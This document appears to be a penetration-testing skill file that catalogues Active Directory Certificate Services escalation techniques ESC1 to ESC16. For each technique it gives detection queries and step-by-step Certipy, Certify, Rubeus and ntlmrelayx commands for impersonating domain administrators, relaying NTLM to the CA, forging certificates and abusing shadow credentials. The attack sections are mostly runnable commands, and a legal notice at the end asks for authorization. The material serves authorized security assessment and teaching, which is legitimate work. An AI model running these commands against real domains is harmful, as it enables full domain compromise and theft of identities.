AD CS Domain Escalation Techniques
This skill covers Active Directory Certificate Services (AD CS) privilege escalation techniques (ESC1-ESC16) for security assessments and penetration testing.
Prerequisites & Tools
Required Tools
- Certipy (Python):
pip install certipy - Certify (C#): GhostPack/Certify
- Rubeus (C#): GhostPack/Rubeus
- PSPKI (PowerShell): For CA management
Basic Enumeration
# Find vulnerable templates and CAs
certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100
certify.exe find /vulnerable
certify.exe find /showAllPermissions
# List CAs and their properties
certipy ca -username user@domain.local -password Pass -target-ip ca.domain.local -ca 'CA-NAME'
ESC1: Misconfigured Certificate Templates (Enrollee Supplies Subject)
Vulnerability
Templates allow low-privileged users to request certificates with arbitrary Subject Alternative Names (SAN), enabling impersonation of any domain principal.
Requirements
- Enrollment rights granted to low-privileged users
- No manager approval required
- No authorized signatures needed
- EKU includes Client Authentication, PKINIT, Smart Card Logon, Any Purpose, or no EKU
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTflag enabled
Detection
# Certipy
certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100
# Certify
certify.exe find /vulnerable
# LDAP query
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
Exploitation
# Request certificate with target SAN
certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'VulnTemplate' -upn 'administrator@domain.local'
# With SID pinning (post-2022)
certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'VulnTemplate' -upn 'administrator' -sid 'S-1-5-21-...-500'
# Certify equivalent
certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@domain.local
# Authenticate with certificate
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'domain.local' -dc-ip 10.0.0.100
rubeus.exe asktgt /user:domain /certificate:administrator.pfx /ptt
ESC2: Any Purpose EKU or No EKU
Vulnerability
Templates with Any Purpose EKU (OID 2.5.29.37.0) or no EKU can be used for any purpose, including authentication.
Detection
# LDAP query for ESC2 templates
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
Exploitation
Same as ESC1 - request certificate and use for authentication.
ESC3: Enrollment Agent Template Abuse
Vulnerability
Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1) allows enrolling certificates on behalf of other users.
Requirements
- Enrollment agent template accessible to low-privileged users
- Target template allows "enroll on behalf of"
- CA does not restrict enrollment agents (default setting)
Exploitation
# Step 1: Request enrollment agent certificate
certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'EnrollmentAgent'
# Step 2: Request certificate on behalf of target
certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'User' -on-behalf-of 'domain\administrator' -pfx 'agent.pfx'
# Certify equivalent
certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:DOMAIN\administrator /enrollment:agent.pfx /enrollcertpwd:password
# Authenticate
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'domain.local'
ESC4: Vulnerable Certificate Template Access Control
Vulnerability
Users with write permissions on certificate templates can modify them to create ESC1 vulnerabilities.
Permissions to Check
- Owner
- FullControl
- WriteOwner
- WriteDacl
- WriteProperty
Detection
certify.exe find /showAllPermissions
certify.exe pkiobjects /domain:domain.local /showAdmins
Exploitation
# Modify template to be vulnerable (saves old config)
certipy template -username user@domain.local -password Pass -template 'TargetTemplate' -save-old
# Exploit the modified template
certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'TargetTemplate' -upn 'administrator@domain.local'
# Restore original configuration
certipy template -username user@domain.local -password Pass -template 'TargetTemplate' -configuration 'TargetTemplate.json'
Shadow Credentials (Related)
# If you have AddKeyCredentialLink on a computer account
certipy shadow auto 'domain.local/user:Pass@dc.domain.local' -account 'targetcomputer'
ESC5: Vulnerable PKI Object Access Control
Vulnerability
Excessive permissions on PKI objects beyond templates (CA server object, containers, NTAuthCertificates).
Objects to Check
- CA server computer object
CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local- Certificate Templates container
- Certification Authorities container
- NTAuthCertificates object
- Enrollment Services Container
Detection
certify.exe pkiobjects /domain:domain.local /showAdmins
ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 Flag
Vulnerability
CA flag allows user-defined SAN values in any template request, including standard User template.
Detection
# Check EditFlags registry value
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
# Or via remote registry
reg.exe query \\CA_SERVER\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA_NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
# Certipy/Certify detection
certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100
certify.exe find
Exploitation
# Request certificate with arbitrary SAN
certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template 'User' -upn 'administrator@domain.local'
certify.exe request /ca:dc.domain.local\CA-NAME /template:User /altname:administrator
Mitigation
# Disable the flag (requires domain admin)
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
Note: Post-May 2022 updates add SID security extension. ESC6 requires ESC10 (Weak Certificate Mappings) to be effective.
ESC7: Vulnerable Certificate Authority Access Control
Attack 1: ManageCA/ManageCertificates Rights
ManageCA
- Can modify CA settings remotely
- Can enable
EDITF_ATTRIBUTESUBJECTALTNAME2(ESC6) - Can restart CA service
ManageCertificates
- Can approve pending certificate requests
- Can issue failed requests
Detection
# PSPKI module
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
Exploitation
# Request certificate requiring approval
certify.exe request /ca:dc.domain.local\CA-NAME /template:ApprovalNeeded
# Approve via PSPKI
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 123 | Approve-CertificateRequest
# Download certificate
certify.exe download /ca:dc.domain.local\CA-NAME /id:123
Attack 2: SubCA Template Abuse
# Add yourself as officer
certipy ca -ca 'CA-NAME' -add-officer username -username user@domain.local -password Pass
# Enable SubCA template
certipy ca -ca 'CA-NAME' -enable-template SubCA -username user@domain.local -password Pass
# Request SubCA certificate (will fail but saves private key)
certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -template SubCA -upn 'administrator@domain.local'
# Note the Request ID and save the private key
# Issue the failed request
certipy ca -ca 'CA-NAME' -issue-request 123 -username user@domain.local -password Pass
# Retrieve the certificate
certipy req -username user@domain.local -password Pass -ca 'CA-NAME' -target ca.domain.local -retrieve 123
Attack 3: SetExtension Abuse (Manage Certificates Only)
# Submit pending request
certify.exe request --ca SERVER\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
# Append custom extension
certify.exe manage-ca --ca SERVER\CA-NAME --request-id 123 --set-extension "1.1.1.1=DER,10,01 01 00 00"
# Issue and download
certify.exe request-download --ca SERVER\CA-NAME --id 123
ESC8: NTLM Relay to AD CS HTTP Endpoints
Vulnerability
HTTP-based enrollment endpoints vulnerable to NTLM relay attacks.
Detection
# Find HTTP endpoints
certify.exe cas
# Via certutil
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
# Via PSPKI
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
Exploitation
# Certipy relay
certipy relay -ca ca.domain.local -template User
# With PetitPotam for authentication coercion
certipy relay -ca ca.domain.local -coerce
# Impacket ntlmrelayx
proxychains ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
ESC9: No Security Extension (CT_FLAG_NO_SECURITY_EXTENSION)
Vulnerability
Template flag prevents SID security extension embedding, enabling UPN-based impersonation.
Requirements
StrongCertificateBindingEnforcement= 1 (default)- Template has
CT_FLAG_NO_SECURITY_EXTENSIONflag - Client authentication EKU present
- GenericWrite on victim account
Exploitation
# Step 1: Get victim hash via Shadow Credentials
certipy shadow auto -username attacker@domain.local -password Pass -account victim
# Step 2: Modify victim UPN to target
certipy account update -username attacker@domain.local -password Pass -user victim -upn Administrator
# Step 3: Request certificate as victim
certipy req -username victim@domain.local -hashes <hash> -ca 'CA-NAME' -template 'ESC9-Template'
# Step 4: Restore victim UPN
certipy account update -username attacker@domain.local -password Pass -user victim -upn victim@domain.local
# Step 5: Authenticate as target
certipy auth -pfx administrator.pfx -domain domain.local
ESC10: Weak Certificate Mappings
Vulnerability
Domain controller registry settings allow certificate-based authentication without proper SID binding.
Registry Keys
CertificateMappingMethods(default 0x18, previously 0x1F)StrongCertificateBindingEnforcement(default 1, previously 0)
Case 1: StrongCertificateBindingEnforcement = 0
Same exploitation as ESC9 - any template works.
Case 2: CertificateMappingMethods includes UPN bit (0x4)
# Target account without UPN (e.g., machine account)
certipy shadow auto -username attacker@domain.local -password Pass -account victim
certipy account update -username attacker@domain.local -password Pass -user victim -upn 'DC$@domain.local'
certipy req -ca 'CA-NAME' -username victim@domain.local -hashes <hash>
certipy account update -username attacker@domain.local -password Pass -user victim -upn 'victim@domain.local'
# Authenticate via LDAP shell
certipy auth -pfx dc.pfx -dc-ip 10.0.0.100 -ldap-shell
ESC11: Relaying NTLM to ICPR (RPC)
Vulnerability
CA not configured with IF_ENFORCEENCRYPTICERTREQUEST allows NTLM relay via RPC.
Detection
certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100 -stdout
# Look for "Enforce Encryption for Requests: Disabled"
Exploitation
# Certipy
certipy relay -target 'rpc://DC01.domain.local' -ca 'CA-NAME' -dc-ip 10.0.0.100
# Impacket
tlmrelayx.py -t rpc://10.0.0.100 -rpc-mode ICPR -icpr-ca-name CA-NAME -smb2support
ESC12: Shell Access to ADCS CA with YubiHSM
Vulnerability
CA private key stored on YubiHSM with cleartext authentication key in registry.
Exploitation
# Import CA certificate
certutil -addstore -user my <CA_certificate_file>
# Associate with YubiHSM private key
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA_Common_Name>
# Sign arbitrary certificate
certutil -sign <request_file> <output_file>
ESC13: OID Group Link Abuse
Vulnerability
OID objects link certificates to AD groups via msDS-OIDToGroupLink.
Detection
# Check-ADCSESC13.ps1 script
# Or manually check OID objects in:
# CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
Exploitation
# Request certificate from template with OID group link
certipy req -username user@domain.local -password Pass -dc-ip 10.0.0.100 -target 'CA.domain.local' -ca 'CA-NAME' -template 'VulnerableTemplate'
# Certificate grants group membership implicitly
ESC14: Vulnerable Certificate Renewal Configuration
Vulnerability
Weak altSecurityIdentities mappings allow certificate-based impersonation.
Weak Mapping Examples
X509:<S>CN=SomeUser(common CN only)X509:<I>CN=SomeInternalCA<S>CN=GenericUser(generic DN)X509:<RFC822>EmailAddress(email-based)
Exploitation Scenarios
Scenario A: Write to altSecurityIdentities
# Request certificate
certify.exe request /ca:CA-NAME /template:Machine /machine
# Convert to PFX
certutil -MergePFX certificate.pem certificate.pfx
# Authenticate
certify.exe asktgt /user:target /certificate:certificate.pfx /nowrap
Scenario B: Weak X509RFC822 Mapping
- Set victim's mail attribute to match target's mapping
- Enroll certificate as victim
- Authenticate as target
ESC15: EKUwu Application Policies (CVE-2024-49019)
Vulnerability
V1 templates allow injection of application policies overriding template EKU.
Detection
certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100
# Look for V1 templates with "Enrollee supplies subject"
Exploitation
# Direct impersonation via Schannel
certipy req -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -target 'CA.domain.local' -ca 'CA-NAME' -template 'WebServer' -upn 'administrator@domain.local' -sid 'S-1-5-21-...-500' -application-policies 'Client Authentication'
# Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
# Via Enrollment Agent abuse
certipy req -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -target 'CA.domain.local' -ca 'CA-NAME' -template 'WebServer' -application-policies 'Certificate Request Agent'
certipy req -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -target 'CA.domain.local' -ca 'CA-NAME' -template 'User' -pfx 'attacker.pfx' -on-behalf-of 'DOMAIN\Administrator'
ESC16: Security Extension Disabled on CA (Globally)
Vulnerability
CA configured to omit SID security extension from all certificates.
Detection
certipy find -username user@domain.local -password Pass -dc-ip 10.0.0.100 -stdout -vulnerable
Exploitation
# Step 1: Read victim UPN (for restoration)
certipy account -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -user 'victim' read
# Step 2: Update victim UPN to target sAMAccountName
certipy account -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -upn 'administrator' -user 'victim' update
# Step 3: Get victim credentials (Shadow Credentials)
certipy shadow -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -account 'victim' auto
# Step 4: Request certificate (any client auth template)
export KRB5CCNAME=victim.ccache
certipy req -k -dc-ip '10.0.0.100' -target 'CA.domain.local' -ca 'CA-NAME' -template 'User'
# Step 5: Restore victim UPN
certipy account -u 'attacker@domain.local' -p 'Pass' -dc-ip '10.0.0.100' -upn 'victim@domain.local' -user 'victim' update
# Step 6: Authenticate as target
certipy auth -dc-ip '10.0.0.100' -pfx 'administrator.pfx' -username 'administrator' -domain 'domain.local'
Cross-Forest Considerations
Breaking Forest Trusts
- Root CA from resource forest published to account forests
- Enterprise CA certificates in
NTAuthCertificatesand AIA containers - Compromised CA can forge certificates for all forests
Foreign Principal Enrollment
- Templates allowing
Authenticated Usersenrollment accessible across trusts - Explicit enrollment rights to foreign principals create cross-forest attack paths
Quick Reference
| ESC | Vulnerability | Key Tool | Primary Command |
|---|---|---|---|
| 1 | Enrollee supplies subject | certipy | req -template X -upn target |
| 2 | Any Purpose EKU | certipy | Same as ESC1 |
| 3 | Enrollment Agent | certipy | req -on-behalf-of target |
| 4 | Template write access | certipy | template -save-old |
| 5 | PKI object ACLs | certify | pkiobjects /showAdmins |
| 6 | EDITF flag | certipy | req -template User -upn target |
| 7 | CA management rights | certipy | ca -issue-request |
| 8 | NTLM relay HTTP | certipy | relay -ca CA |
| 9 | No security extension | certipy | shadow + account update + req |
| 10 | Weak mappings | certipy | Same as ESC9 |
| 11 | NTLM relay RPC | certipy | relay -target rpc:// |
| 12 | YubiHSM access | certutil | -csp YubiHSM |
| 13 | OID group links | certipy | req -template X |
| 14 | altSecurityIdentities | certify | Various scenarios |
| 15 | EKUwu (CVE-2024-49019) | certipy | req -application-policies |
| 16 | Global security extension | certipy | Same as ESC9 |
References
- Certipy Wiki - Privilege Escalation
- Certify 2.0 - SpecterOps
- Certified Pre-Owned - SpecterOps
- GhostPack/Certify
- GhostPack/Rubeus
Legal Notice: These techniques are for authorized security assessments only. Always obtain proper authorization before testing AD CS configurations.